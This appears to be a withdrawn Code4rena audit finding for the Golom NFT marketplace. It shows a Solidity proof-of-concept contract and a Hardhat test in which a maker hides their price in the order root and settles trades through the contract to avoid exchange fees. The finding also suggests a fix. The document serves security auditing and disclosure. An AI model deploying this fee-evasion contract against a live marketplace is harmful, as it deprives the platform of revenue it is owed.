code-423n4 / 2022-07-golom-findings

2 stars 1 forks source link

Users can avoid paying fees while trading trustlessly & using golom's network effects #21

Closed code423n4 closed 2 years ago

code423n4 commented 2 years ago

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/main/contracts/core/GolomTrader.sol#L203-L271 https://github.com/code-423n4/2022-07-golom/blob/main/contracts/core/GolomTrader.sol#L211

Vulnerability details

Impact

pragma solidity 0.8.11;

import "../core/GolomTrader.sol";

//A maker will be gurranteed a payout if it makes this contract the reservedAddress and hide the payment info about how much they want in Oder.root //Users will use this every time to trade to avoid paying fees //They use the networking effects of the golom marketplace without paying the fees contract AvoidsFeesContract { GolomTrader public immutable golomTrader;

constructor(GolomTrader _golomTrader) {
    golomTrader = _golomTrader;
}

function fillAsk(
    GolomTrader.Order calldata o,
    uint256 amount,
    address referrer,
    GolomTrader.Payment calldata p,
    address receiver
) public payable {
    require(
        o.reservedAddress == address(this),
        "not allowed if signer has not reserved this contract"
    ); //the signer will only allow this contract to execute the trade and since it has following checks, they will be guranteed a payout they want without paying the fees
    require(
        p.paymentAddress == o.signer,
        "signer needs to be the payment address"
    );
    //I am using root as an example because it is much cleaner for a POC.
    //but since golom does not have an API where user can submit a signature without using the frontend, they will use something like deadline to hide the amount they want to get paid.
    //Reason they would use deadline is because that is something they can control in the golom NFT frontend
    //They can pack the information about deadline and amount they want to get paid, in one uint256 as a deadline and then the check below would look a little different
    require(
        p.paymentAmt == uint256(o.root),
        "you need to pay what signer wants"
    ); //the maker will hide the payment info in oder.root

    golomTrader.fillAsk{value: msg.value}(
        o,
        amount,
        referrer,
        p,
        receiver = msg.sender
    );
}

}

- add following test in `test/GolomTrader.specs.ts` [here](https://github.com/code-423n4/2022-07-golom/blob/main/test/GolomTrader.specs.ts#L390) and run `npx hardhat compile && npx hardhat test`

it.only('should allow malicious contract to execute the trade while bypassing the fees', async () => { let exchangeAmount = ethers.utils.parseEther('0'); // cut for the exchanges let prePaymentAmt = ethers.utils.parseEther('0'); // royalty cut let totalAmt = ethers.utils.parseEther('0'); let tokenId = await testErc721.current();

        let nftValueThatMakerWants = ethers.utils.parseEther('10.25');

        const order = {
            collection: testErc721.address,
            tokenId: tokenId,
            signer: await maker.getAddress(),
            orderType: 0,
            totalAmt: totalAmt,
            exchange: { paymentAmt: exchangeAmount, paymentAddress: await exchange.getAddress() },
            prePayment: { paymentAmt: prePaymentAmt, paymentAddress: await prepay.getAddress() },
            isERC721: true,
            tokenAmt: 1,
            refererrAmt: 0,
            root: ethers.utils.hexZeroPad(nftValueThatMakerWants.toHexString(), 32), //convert Bignumber to bytes32
            reservedAddress: avoidsFeesContract.address,
            nonce: 0,
            deadline: Date.now() + 100000,
            r: '',
            s: '',
            v: 0,
        };

        let signature = (await maker._signTypedData(domain, types, order)).substring(2); //a valid signature as far as your frontend goes

        order.r = '0x' + signature.substring(0, 64);
        order.s = '0x' + signature.substring(64, 128);
        order.v = parseInt(signature.substring(128, 130), 16);

        let makerBalanceBefore = await ethers.provider.getBalance(await maker.getAddress());

        await avoidsFeesContract.connect(taker).fillAsk(
            order,
            1,
            '0x0000000000000000000000000000000000000000',
            {
                paymentAmt: nftValueThatMakerWants,
                paymentAddress: order.signer,
            },
            receiver,
            {
                value: nftValueThatMakerWants,
            }
        );

        let makerBalanceAfter = await ethers.provider.getBalance(await maker.getAddress());

        expect(await testErc721.balanceOf(await taker.getAddress())).to.be.equals('1');
        expect(makerBalanceAfter.sub(makerBalanceBefore)).to.be.equals(nftValueThatMakerWants);//maker is guaranteed a payout

    });


## Tools Used
- the [repo](https://github.com/code-423n4/2022-07-golom) itself.

## Recommended Mitigation Steps
- make sure that o.totalAmt is greater than p.paymentAmt in addition to [this](https://github.com/code-423n4/2022-07-golom/blob/main/contracts/core/GolomTrader.sol#L217) check
kartoonjoy commented 2 years ago

Per warden kankadu, this issue should be withdrawn as they have submitted a new finding (issue 33) to replace this one.